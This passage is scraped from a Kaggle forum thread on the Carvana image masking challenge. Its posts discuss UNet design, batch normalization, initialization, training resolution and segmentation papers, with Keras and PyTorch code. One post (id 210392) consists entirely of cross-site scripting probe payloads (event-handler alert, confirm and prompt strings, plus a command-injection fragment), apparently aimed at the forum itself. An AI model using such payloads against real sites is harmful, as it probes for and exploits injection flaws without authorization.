\n\nWe also use densecrf as post-processing to refine object boundaries.
", "rawMarkdown": "segmentation tricks!\n\nsee pascal voc 2012 leader board method description\n\nhttp://host.robots.ox.ac.uk:8080/leaderboard/displaylb.php?challengeid=11&compid=6\n\ne.g CRF is applied as post-processing step.\n\nWe also use densecrf as post-processing to refine object boundaries.", "votes": null }, { "id": "209393", "postDate": "08/02/2017 04:52:12", "content": "finally a solution for 0.996. please refer to for code release 08-02 and experiment. Here is a summary for unet for predicting 1024x1024 (batch size=8).
\n\nconstruct a 512x512 input unet
the last feature map is 512x512
concat this last feature with input. upsize to 1024x1024.
add conv filters 3x3, bn, relu, etc ...
finally, a classifier layer to predict results at 1024x1024
Note that there is numerical instability. I am not sure if it is due to unstable bce loss or BN layers (too little train samples can cause running std =0?). I will find out if I have time.
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/209393/6970/1024.png\" "\\"\\"")
yet another idea is to use distance transform to weigh the boundary pixels in the loss function.
", "rawMarkdown": "yet another idea is to use distance transform to weigh the boundary pixels in the loss function.", "votes": null }, { "id": "209438", "postDate": "08/02/2017 08:21:08", "content": "e..,maybe input is 512x512 and you write 512 x 125? I was using 512x512 input size, 512x512 output size ,no bn layers (i have no more memory,and I think we don't need it.),it can also get 0.996.
", "rawMarkdown": "e..,maybe input is 512x512 and you write 512 x 125? I was using 512x512 input size, 512x512 output size ,no bn layers (i have no more memory,and I think we don't need it.),it can also get 0.996.", "votes": null }, { "id": "209440", "postDate": "08/02/2017 08:39:28", "content": "@bang liu
\n\nThank you for the comments. I corrected the typo error. It should be 512x512. ' ... no bn layers ...' Maybe I can try without BN layer too. In that case, I can use greater batch size or higher resolution. Thanks!
\n\nNote: without BN, it is easy to try in multi-gpu (and also fp16 which i try before on cifar10 before)
", "rawMarkdown": "bang liu\n\nThank you for the comments. I corrected the typo error. It should be 512x512. ' ... no bn layers ...' Maybe I can try without BN layer too. In that case, I can use greater batch size or higher resolution. Thanks!\n\nNote: without BN, it is easy to try in multi-gpu (and also fp16 which i try before on cifar10 before)", "votes": null }, { "id": "209451", "postDate": "08/02/2017 09:25:53", "content": "@bang liu
\n\nhow do you initialise your Unet without BN? Tried just now at my side. The UNet won't run at training unless good initialization is given (I can merge BN in conv to do a initialization for the weights). Since the images are more or less similar, maybe that is why BN may not be that important here. Without BN, i can increase batch size from 16 to 20. The speed is faster too.
", "rawMarkdown": "bang liu\n\nhow do you initialise your Unet without BN? Tried just now at my side. The UNet won't run at training unless good initialization is given (I can merge BN in conv to do a initialization for the weights). Since the images are more or less similar, maybe that is why BN may not be that important here. Without BN, i can increase batch size from 16 to 20. The speed is faster too.", "votes": null }, { "id": "209460", "postDate": "08/02/2017 10:28:52", "content": "When you train Unet without BN you have to use much lower learning rate (in range 1e-4 or lower) and longer training
", "rawMarkdown": "When you train Unet without BN you have to use much lower learning rate (in range 1e-4 or lower) and longer training", "votes": null }, { "id": "209465", "postDate": "08/02/2017 11:16:04", "content": "@Heng CherKeng\nHow long does 1 epoch take (on your 1080TI/Titan?) to train for the 0.996 net?
", "rawMarkdown": "Heng CherKeng\nHow long does 1 epoch take (on your 1080TI/Titan?) to train for the 0.996 net?", "votes": null }, { "id": "209466", "postDate": "08/02/2017 11:17:51", "content": "5.6 min using pascal titianX. The log file can be found at the google drive. see 08-20 and 07-31.\nI run about 35 epoch.
", "rawMarkdown": "5.6 min using pascal titianX. The log file can be found at the google drive. see 08-20 and 07-31.\nI run about 35 epoch.", "votes": null }, { "id": "209467", "postDate": "08/02/2017 11:19:27", "content": "if i got time, i am going to try this: https://github.com/ducha-aiki/LSUV-pytorch
", "rawMarkdown": "if i got time, i am going to try this: https://github.com/ducha-aiki/LSUV-pytorch", "votes": null }, { "id": "209471", "postDate": "08/02/2017 11:50:49", "content": "I have not using special init method,but random normal(mean=0,std=filter_width*filter_height*channel).\nthese pic are too same,so DA and BN these method which can lead noise will be harmful .\nthe best way is increase the input size,but I gauss we can't over 0.998 because of ground true error.
", "rawMarkdown": "I have not using special init method,but random normal(mean=0,std=filter_width*filter_height*channel).\nthese pic are too same,so DA and BN these method which can lead noise will be harmful .\nthe best way is increase the input size,but I gauss we can't over 0.998 because of ground true error.", "votes": null }, { "id": "209480", "postDate": "08/02/2017 12:42:18", "content": "I am struggling to replicate the performance ~0.99xx with keras. Only getting ~0.97x after 20 epochs with 8 batch size\nFind below the model in keras
\n\ninputs = Input((img_rows, img_cols, 3))\nconv1 = Conv2D(16, (3, 3), activation='relu', padding='same', name = 'layer1.1')(inputs)\nconv1 = BatchNormalization()(conv1)\nconv1 = Conv2D(16, (3, 3), activation='relu', padding='same', name = 'layer1.2')(conv1)\nconv1 = BatchNormalization()(conv1)\npool1 = MaxPooling2D(pool_size=(2, 2), name = 'layer1.3')(conv1)\n\nconv2 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer2.1')(pool1)\nconv2 = BatchNormalization()(conv2)\nconv2 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer2.2')(conv2)\nconv2 = BatchNormalization()(conv2)\npool2 = MaxPooling2D(pool_size=(2, 2), name = 'layer2.3')(conv2)\n\nconv3 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer3.1')(pool2)\nconv3 = BatchNormalization()(conv3)\nconv3 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer3.2')(conv3)\nconv3 = BatchNormalization()(conv3)\npool3 = MaxPooling2D(pool_size=(2, 2), name = 'layer3.3')(conv3)\n\nconv4 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer4.1')(pool3)\nconv4 = BatchNormalization()(conv4)\nconv4 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer4.2')(conv4)\nconv4 = BatchNormalization()(conv4)\npool4 = MaxPooling2D(pool_size=(2, 2), name = 'layer4.3')(conv4)\n\nconv5 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer5.1')(pool4)\nconv5 = BatchNormalization()(conv5)\nconv5 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer5.2')(conv5)\nconv5 = BatchNormalization()(conv5)\npool5 = MaxPooling2D(pool_size=(2, 2), name = 'layer5.3')(conv5)\n\nconv6 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer6.1')(pool5)\nconv6 = BatchNormalization()(conv6)\nconv6 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer6.2')(conv6)\nconv6 = BatchNormalization()(conv6)\npool6 = MaxPooling2D(pool_size=(2, 2), name = 'layer6.3')(conv6)\n\nconv7 = Conv2D(1024, (3, 3), activation='relu', padding='same', name = 'layer7.1')(pool6)\nconv7 = BatchNormalization()(conv7)\nconv7 = Conv2D(1024, (3, 3), activation='relu', padding='same', name = 'layer7.2')(conv7)\nconv7 = BatchNormalization()(conv7)\n\nup8 = concatenate([Conv2DTranspose(512, (2, 2), strides=(2, 2), padding='same', name = 'layer8.0')(conv7), conv6], axis=3, name = 'layer8.01')\nconv8 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer8.1')(up8)\nconv8 = BatchNormalization()(conv8)\nconv8 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer8.2')(conv8)\nconv8 = BatchNormalization()(conv8)\n\nup9 = concatenate([Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same', name = 'layer9.0')(conv8), conv5], axis=3, name = 'layer9.01')\nconv9 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer9.1')(up9)\nconv9 = BatchNormalization()(conv9)\nconv9 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer9.2')(conv9)\nconv9 = BatchNormalization()(conv9)\n\nup10 = concatenate([Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same', name = 'layer10.0')(conv9), conv4], axis=3, name = 'layer10.01')\nconv10 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer10.1')(up10)\nconv10 = BatchNormalization()(conv10)\nconv10 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer10.2')(conv10)\nconv10 = BatchNormalization()(conv10)\n\nup11 = concatenate([Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same', name = 'layer11.0')(conv10), conv3], axis=3, name = 'layer11.01')\nconv11 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer11.1')(up11)\nconv11 = BatchNormalization()(conv11)\nconv11 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer11.2')(conv11)\nconv11 = BatchNormalization()(conv11)\n\nup12 = concatenate([Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same', name = 'layer12.0')(conv11), conv2], axis=3, name = 'layer12.01')\nconv12 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer12.1')(up12)\nconv12 = BatchNormalization()(conv12)\nconv12 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer12.2')(conv12)\nconv12 = BatchNormalization()(conv12)\n\nup13 = concatenate([Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same', name = 'layer13.0')(conv12), conv1], axis=3, name = 'layer13.01')\nconv13 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer13.1')(up13)\nconv13 = BatchNormalization()(conv13)\nconv13 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer13.2')(conv13)\nconv13 = BatchNormalization()(conv13)\n\nconv14 = Conv2D(1, (1, 1), activation='sigmoid')(conv13)\n# conv14 = BatchNormalization()(conv14)\n\nmodel = Model(inputs=[inputs], outputs=[conv14])\nI didn't have time for this competition yet, but I was planning to take the approach you suggest: input all images rotations and output all masks at once.
\n\nOther things to consider:
\n\nDon't go too deep on UNet, as masks are placed more or less on the same region. Instead, replace the two deepest levels with a \"global convolution\" (a convolution with kernel size equal to the side of the image at that level). The number of filters should not be more than the number of cars. This way, we may reduce the number of parameters and probably create a viable 1024x1024 version.
I'd suggest adding an \"upscale\" network to the workflow, after training and predicting the UNet. The input should be patches from original image stacked with the UNet output (channels R, G, B and Mask). These patches should always include border regions of mask (black and white pixels).
Final note: I'd suggest reading this recent post about image segmentation thechniques:\n- http://blog.qure.ai/notes/semantic-segmentation-deep-learning-review
", "rawMarkdown": "I didn't have time for this competition yet, but I was planning to take the approach you suggest: input all images rotations and output all masks at once.\n\nOther things to consider:\n\n- Don't go too deep on UNet, as masks are placed more or less on the same region. Instead, replace the two deepest levels with a \"global convolution\" (a convolution with kernel size equal to the side of the image at that level). The number of filters should not be more than the number of cars. This way, we may reduce the number of parameters and probably create a viable 1024x1024 version.\n\n- I'd suggest adding an \"upscale\" network to the workflow, after training and predicting the UNet. The input should be patches from original image stacked with the UNet output (channels R, G, B and Mask). These patches should always include border regions of mask (black and white pixels).\n\nFinal note: I'd suggest reading this recent post about image segmentation thechniques:\n- http://blog.qure.ai/notes/semantic-segmentation-deep-learning-review", "votes": null }, { "id": "209545", "postDate": "08/02/2017 15:47:09", "content": "@bang liu and @Sergey Mushinskiy
\n\nThank you for the comments. The initialization and learning rate are magical. I am running the experiments now, using unet512 without bn. The convergence rate is a bit slower, but time per epoch is reduced from 3 min to 2.2 min. Attached is the loss convergence of epoch-1. I will post experiment curve of with and without bn when my experiments are completed. Thanks again!
\n\nhttps://storage.googleapis.com/kaggle-forum-message-attachments/208677/6972/results-small-epoch-1.avi (red=ground_truth, green=prediction. if ground_truth==green, you should see only yellow)
\n\nclass UNet512_no_bn_2 (nn.Module):\n\ndef __init__(self, in_shape, num_classes):\n super(UNet512_no_bn_2, self).__init__()\n in_channels, height, width = in_shape\n\n self.down1 = nn.Sequential(\n *make_conv_relu(in_channels, 16, kernel_size=3, stride=1, padding=1 ),\n *make_conv_relu(16, 16, kernel_size=3, stride=1, padding=1 ),\n )\n ..... \n\n self.classify = nn.Conv2d(16, num_classes, kernel_size=1, stride=1, padding=0 )\n\n ## initialistaion\n # https://www.kaggle.com/c/carvana-image-masking-challenge/discussion/37208\n # bang liu : random normal(mean=0,std=filter_width*filter_height*channel).\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n\n\ndef forward(self, x):\n\n down1 = self.down1(x)\n out = F.max_pool2d(down1, kernel_size=2, stride=2) #64\n\n down2 = self.down2(out)\n out = F.max_pool2d(down2, kernel_size=2, stride=2) #64\n .....\n out = self.classify(out)\n\n return out\nIn your next update, could you publish your Split folder? I can't tell which images you used in the test_3197 file. Many thanks!
", "rawMarkdown": "In your next update, could you publish your Split folder? I can't tell which images you used in the test_3197 file. Many thanks!", "votes": null }, { "id": "209642", "postDate": "08/02/2017 22:28:32", "content": "Coded up a U-nets implementation here that is relevant to this post! Let me know what you thing!
", "rawMarkdown": "Coded up a U-nets implementation [here][1] that is relevant to this post! Let me know what you thing!\n\n\n [1]: https://www.kaggle.com/ecobill/u-nets-with-keras/", "votes": null }, { "id": "209652", "postDate": "08/02/2017 23:15:33", "content": "my implementation here https://www.kaggle.com/ecobill/u-nets-with-keras/
", "rawMarkdown": "my implementation here https://www.kaggle.com/ecobill/u-nets-with-keras/", "votes": null }, { "id": "209699", "postDate": "08/03/2017 04:51:39", "content": "i have added to the 07-30 release. test_3197 is for visualization only. it is not used in training and will not affect results.
", "rawMarkdown": "i have added to the 07-30 release. test_3197 is for visualization only. it is not used in training and will not affect results.", "votes": null }, { "id": "209701", "postDate": "08/03/2017 04:56:26", "content": "@Bruno G. do Amaral
\n\n\"I'd suggest adding an \"upscale\" network ...\" thank you for your comment. i am thinking of this too. I am looking at refineNet. I am thinking if i want to do it end-to-end (which require large memory) or train separate networks stagewise, with a network output feed into the input of another stage.
\n\nit can be as simple as two-stage or three stage.
\n\nThanks for the link! Here is another link for review of segmentation:\nhttps://meetshah1995.github.io/semantic-segmentation/deep-learning/pytorch/visdom/2017/06/01/semantic-segmentation-over-the-years.html
", "rawMarkdown": "Bruno G. do Amaral\n \n\"I'd suggest adding an \"upscale\" network ...\" thank you for your comment. i am thinking of this too. I am looking at refineNet. I am thinking if i want to do it end-to-end (which require large memory) or train separate networks stagewise, with a network output feed into the input of another stage.\n\nit can be as simple as two-stage or three stage.\n\nThanks for the link! Here is another link for review of segmentation:\nhttps://meetshah1995.github.io/semantic-segmentation/deep-learning/pytorch/visdom/2017/06/01/semantic-segmentation-over-the-years.html", "votes": null }, { "id": "209709", "postDate": "08/03/2017 05:32:40", "content": "anyone using dilated convolution here? Does it improves results?
", "rawMarkdown": "anyone using dilated convolution here? Does it improves results?", "votes": null }, { "id": "209754", "postDate": "08/03/2017 09:47:34", "content": "@Barek \nI have tried your method and it works well for me.
\nI don't have to save a 104GB numpy array on my local anymore.
\nInstead the size shrink to only 26GB when the uint8 array of size 100000x512x512 is saved.
\nHowever, I have used another way to allocate numpy array first by using np.memmap(outdir, dtype=np.uint8, mode='w+', shape=(100064,512,512)).
\nBy doing this I don't have to read the entire array into my memory.
\nhttps://docs.scipy.org/doc/numpy/reference/generated/numpy.memmap.html
I would love to, but I think dilated convolutions do increase memory consumption a lot (and it seems like many configurations of cudnn/pytorch are not optimised for dilation?)
", "rawMarkdown": "I would love to, but I think dilated convolutions do increase memory consumption a lot (and it seems like many configurations of cudnn/pytorch are not optimised for dilation?)", "votes": null }, { "id": "209784", "postDate": "08/03/2017 11:51:44", "content": "Does pytorch has dilated layer?
", "rawMarkdown": "Does pytorch has dilated layer?", "votes": null }, { "id": "209899", "postDate": "08/03/2017 18:20:50", "content": "http://pytorch.org/docs/master/nn.html#convolution-layers\nYea I think the dilation parameter does control dilation
", "rawMarkdown": "http://pytorch.org/docs/master/nn.html#convolution-layers\nYea I think the dilation parameter does control dilation", "votes": null }, { "id": "210016", "postDate": "08/04/2017 03:08:00", "content": "How much RAM do you use @Heng CherKeng? I even got problem loading the training images. Sorry for a dump question, I'm new to the field.
", "rawMarkdown": "How much RAM do you use @Heng CherKeng? I even got problem loading the training images. Sorry for a dump question, I'm new to the field.", "votes": null }, { "id": "210017", "postDate": "08/04/2017 03:09:51", "content": "i have 128GB ram. check the code and set is_preload=False in the dataset init function.
", "rawMarkdown": "i have 128GB ram. check the code and set is_preload=False in the dataset init function.", "votes": null }, { "id": "210018", "postDate": "08/04/2017 03:13:57", "content": "training at original resolution! I crop 1024x1024 from the original image. The results look good. The spikes in my previous 1024 attempt is due to small batch size. I think you need at least batch_size = 32 (use caffe accumulate gradient trick, i.e. iter_size in the prototxt file) blue=batch_size_8, red = batch_size_32. This is a new unet using 1024 as input and 1024 as output.
\n\nMy feeling is that is will be a 0.997 solution. To get to 0.998, some refinement strategy is required.
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/210018/6982/loss_1024_crop0.png\" "\\"\\"")
\n ![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/210018/6980/0d1a9caf4350_02.jpg\" "\\"\\"")
Thank you so much ^^
", "rawMarkdown": "Thank you so much ^^", "votes": null }, { "id": "210032", "postDate": "08/04/2017 04:45:53", "content": "i try 5x5 filter. it does improve the results a little but is very slow and some overfitting. so i am thinking that dilated conv might help.
", "rawMarkdown": "i try 5x5 filter. it does improve the results a little but is very slow and some overfitting. so i am thinking that dilated conv might help.", "votes": null }, { "id": "210038", "postDate": "08/04/2017 05:04:11", "content": "yet another idea. background prediction model:\nrgb -->[feature_net]-->predicted_background_rgb-->z=abs(predicted_background_rgb-rgb-->sigmoid[scale(z+shift)]-->loss
", "rawMarkdown": "yet another idea. background prediction model:\nrgb -->[feature_net]-->predicted_background_rgb-->z=abs(predicted_background_rgb-rgb-->sigmoid[scale(z+shift)]-->loss", "votes": null }, { "id": "210039", "postDate": "08/04/2017 05:12:01", "content": "But using dilated conv will cost too much memory(maybe 4~8 times),or you will also downsample the feature map ?
", "rawMarkdown": "But using dilated conv will cost too much memory(maybe 4~8 times),or you will also downsample the feature map ?", "votes": null }, { "id": "210040", "postDate": "08/04/2017 05:18:40", "content": "boundary refinement:\n\"Laplacian Pyramid Reconstruction and Refinement for Semantic Segmentation\" - G. Ghiasi, C. Fowlkes, eccv 2016\nhttp://www.ics.uci.edu/~gghiasi/
\n\nsmart idea to detect the boundary using max and inverted max pooling\n ![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/210040/6983/xx1.png\" "\\"\\"")
Rethinking Atrous Convolution for Semantic Image Segmentation\nSubmitted on 17 Jun 2017\nArxiv Link\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208677/6984/deeplabv3.png\" "\\"\\"")
![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208677/6990/context.png\" "\\"\\"")
Reply for your first doubt
\n1. using bilinear upsampling is better than deconvolution layer in unet (which i don't know why ... i suspect overfitting)
\nIt might be that deconvolutions tend to introduce characteristic artifacts, you can check out this. https://distill.pub/2016/deconv-checkerboard/
By training in 1024x1024, I am wondering how to predict the result under 1918 * 1280?
", "rawMarkdown": "By training in 1024x1024, I am wondering how to predict the result under 1918 * 1280?", "votes": null }, { "id": "210079", "postDate": "08/04/2017 08:56:03", "content": "![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208677/6985/2x1024.png\" "\\"\\"")
After reading http://tanbakuchi.com/posts/comparison-of-openv-interpolation-algorithms/ I've checked the best interpolation method for our masks again with N=500, width=384 and height=256:\n![\"Interpolation](\"http://i.imgur.com/hlCbamW.png\" "\\"\\"")
That's cool. But how to make sure the patch cover all the car if it's facing towards you or backwards? I haven't checked all the images
", "rawMarkdown": "That's cool. But how to make sure the patch cover all the car if it's facing towards you or backwards? I haven't checked all the images", "votes": null }, { "id": "210149", "postDate": "08/04/2017 13:00:23", "content": "you can get bounding box from initial estimate
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208677/6987/two-stage.png\" "\\"\\"")
How long does it take for you to predict all test images + generate RLE file?
\n\nI managed to train at native resolution (1918x1280), left it training for ~1 day but predictions + RLE will take ~15-20 hours...
", "rawMarkdown": "How long does it take for you to predict all test images + generate RLE file?\n\nI managed to train at native resolution (1918x1280), left it training for ~1 day but predictions + RLE will take ~15-20 hours...", "votes": null }, { "id": "210210", "postDate": "08/04/2017 16:51:12", "content": "generate RLE takes 20 min\n(see kernel section for fast RLE)
\n\njust prediction at 1024x1024 takes 1 to 2 hr.\nbut there are overheads like storing 1024x1024 probability to disk, etc
", "rawMarkdown": "generate RLE takes 20 min\n(see kernel section for fast RLE)\n\njust prediction at 1024x1024 takes 1 to 2 hr.\nbut there are overheads like storing 1024x1024 probability to disk, etc", "votes": null }, { "id": "210220", "postDate": "08/04/2017 17:43:18", "content": "i changed my strategy. From my experiments, direct prediction from full resolution or slightly smaller (e.g 1024x1916) can also work. so there is no need to divide into crops, etc
", "rawMarkdown": "i changed my strategy. From my experiments, direct prediction from full resolution or slightly smaller (e.g 1024x1916) can also work. so there is no need to divide into crops, etc", "votes": null }, { "id": "210235", "postDate": "08/04/2017 19:03:52", "content": "UNets seem to be working great for you! How do you manage memory consumption with this image size? I guess for most UNets this is too big to even fit a single image into memory?
", "rawMarkdown": "UNets seem to be working great for you! How do you manage memory consumption with this image size? I guess for most UNets this is too big to even fit a single image into memory?", "votes": null }, { "id": "210293", "postDate": "08/05/2017 01:43:49", "content": "surprising, max no. of images for 1024x1916 is 8. i use 12 GB pascal titanx. as long as you can stable BN moving statistics, you can:
\n\nenter code here\n\nprint ('batch_size*num_grad_acc') \nfor epoch in range(start_epoch, num_epoches): \n\n adjust_learning_rate(optimizer, lr/num_grad_acc)\n rate = get_learning_rate(optimizer)[0]*num_grad_acc \n\n net.train()\n for it, (images, labels, indices) in enumerate(train_loader, 0):\n images = Variable(images.cuda())\n labels = Variable(labels.cuda())\n\n #forward\n logits = net(images)\n probs = F.sigmoid(logits)\n masks = (probs>0.5).float()\n\n\n #backward\n loss = criterion(logits, labels)\n # optimizer.zero_grad()\n # loss.backward()\n # optimizer.step()\n\n # accumulate gradients\n if it==0:\n optimizer.zero_grad()\n loss.backward()\n if it%num_grad_acc==0:\n optimizer.step()\n optimizer.zero_grad() # assume no effects on bn for accumulating grad\n`
", "rawMarkdown": "surprising, max no. of images for 1024x1916 is 8. i use 12 GB pascal titanx. as long as you can stable BN moving statistics, you can:\n\n enter code here\n\n print ('batch_size*num_grad_acc') \n for epoch in range(start_epoch, num_epoches): \n \n adjust_learning_rate(optimizer, lr/num_grad_acc)\n rate = get_learning_rate(optimizer)[0]*num_grad_acc \n \n net.train()\n for it, (images, labels, indices) in enumerate(train_loader, 0):\n images = Variable(images.cuda())\n labels = Variable(labels.cuda())\n\n #forward\n logits = net(images)\n probs = F.sigmoid(logits)\n masks = (probs>0.5).float()\n\n\n #backward\n loss = criterion(logits, labels)\n # optimizer.zero_grad()\n # loss.backward()\n # optimizer.step()\n\n # accumulate gradients\n if it==0:\n optimizer.zero_grad()\n loss.backward()\n if it%num_grad_acc==0:\n optimizer.step()\n optimizer.zero_grad() # assume no effects on bn for accumulating grad\n\n`", "votes": null }, { "id": "210315", "postDate": "08/05/2017 04:55:16", "content": "\n\nsee also the cvpr 2017 paper:\nGated feedback refinement network for dense image labeling
\n\nwww.cs.umanitoba.ca/~ywang
\n\n![\"enter](\"https://ai2-s2-public.s3.amazonaws.com/figures/2016-11-08/3b60af814574ebe389856e9f7008bb83b0539abc/1-Figure1-1.png\" "\\"\\"")
if you want ot use TTA (test time augmentation), you may need to find ways to speed up inference. here is a trick.
\n\n\"In order to speed up inference time, we use the following\nequations to remove the batch normalization layer in our\nnetwork at test time.\"
\n\nDSSD : Deconvolutional Single Shot Detector
\n\n\n\nsimilar trick is used in Intel's PVANet:
\n\nhttps://github.com/sanghoon/pva-faster-rcnn/issues/5
", "rawMarkdown": "if you want ot use TTA (test time augmentation), you may need to find ways to speed up inference. here is a trick.\n\n\"In order to speed up inference time, we use the following\nequations to remove the batch normalization layer in our\nnetwork at test time.\"\n\nDSSD : Deconvolutional Single Shot Detector \n\nhttp://www.cs.unc.edu/~cyfu/\n\n\nsimilar trick is used in Intel's PVANet:\n\nhttps://github.com/sanghoon/pva-faster-rcnn/issues/5", "votes": null }, { "id": "210345", "postDate": "08/05/2017 08:26:06", "content": "Interesting. Is inference time already a bottleneck for you?
", "rawMarkdown": "Interesting. Is inference time already a bottleneck for you?", "votes": null }, { "id": "210357", "postDate": "08/05/2017 09:38:02", "content": "So what's the batch size here and num_grad_acc? I guess training time takes a hit though at this size?
", "rawMarkdown": "So what's the batch size here and num_grad_acc? I guess training time takes a hit though at this size?", "votes": null }, { "id": "210389", "postDate": "08/05/2017 12:32:23", "content": "it takes 14 min to train for 1024x2048 per epoch (actaully 2~3 min is due to data augmentation). effective_batch_size = num_grad_accxbtach_size can be 4x8=32 or 4x16=64. i am still experimentally. and yes, the effective_batch_size does affect results
", "rawMarkdown": "it takes 14 min to train for 1024x2048 per epoch (actaully 2~3 min is due to data augmentation). effective_batch_size = num_grad_accxbtach_size can be 4x8=32 or 4x16=64. i am still experimentally. and yes, the effective_batch_size does affect results", "votes": null }, { "id": "210392", "postDate": "08/05/2017 12:35:24", "content": "\">/\nprompt(/920065/)\n\"onmouseover=\"confirm(2);\n\">\n\"-->\n\"//autofocus//onfocus=\"alert('XSSPOSED');\"\n\">confirm(/XSs;/)\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n\n\n\n
-alert`/1/`\">'onload=\"`-alert1\">'onload=\"1\"autofocus \"[user]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[video]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[image]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)\n ;print(md5(xss)); set|set&set\n text//;value=autofocus onfocus=alert(1) a=>\n \">\n
-alert/1/\">'onload=\"-alert1\">'onload=\"document.domain\"autofocus \"[/image]\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n", "rawMarkdown": "\">\n
\n-alert`/1/`\">'onload=\"`-alert1\">'onload=\"\n \n-alert`/1/`\">'onload=\"`-alert`1`\">'onload=\"`1\"autofocus \"
\">/\nprompt(/920065/)\n\"onmouseover=\"confirm(2);\n\">\n\"-->\n\"//autofocus//onfocus=\"alert('XSSPOSED');\"\n\">confirm(/XSs;/)\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n\n\n\n
-alert`/1/`\">'onload=\"`-alert1\">'onload=\"1\"autofocus \"[user]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[video]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[image]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)\n ;print(md5(xss)); set|set&set\n text//;value=autofocus onfocus=alert(1) a=>\n \">\n
-alert/1/\">'onload=\"-alert1\">'onload=\"document.domain\"autofocus \"[/image]\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n", "rawMarkdown": "\">\n
\n-alert`/1/`\">'onload=\"`-alert1\">'onload=\"\n \n-alert`/1/`\">'onload=\"`-alert`1`\">'onload=\"`1\"autofocus \"
it seems that there are quite some work that deal with full resolution segmentation. Also my current unet use stacked 3x3 filters (like vgg-16). Here are some papers that uses residual block, etc to repalce it. They claimed better accuracy and efficiency.
\n\n\"Efficient ConvNet for Real-time Semantic Segmentation\"- Eduardo Romera1, Jose´ M. A´ lvarez2, Luis M. Bergasa1 and Roberto Arroyo
\n\n\"LinkNet: Exploiting Encoder Representations for Efficient Semantic Segmentation\" - Abhishek Chaurasia
\n\n\" Not All Pixels Are Equal: Difficulty-Aware Semantic Segmentation via Deep Layer Cascade\" - Xiaoxiao Li
\n\n\"ICNet for Real-Time Semantic Segmentation on High-Resolution Images\"- Hengshuang Zhao1
\n\n\"Improving Fully Convolution Network for Semantic Segmentation\" - Bing Shuai
\n\n\"Full-Resolution Residual Networks for Semantic Segmentation in Street Scenes\" - Tobias Pohlen
\n\n\"The One Hundred Layers Tiramisu: Fully Convolutional DenseNets for Semantic Segmentation\" - Simon J´egou1
\n\n\"ENet: A Deep Neural Network Architecture for Real-Time Semantic Segmentation\" - Adam Paszke
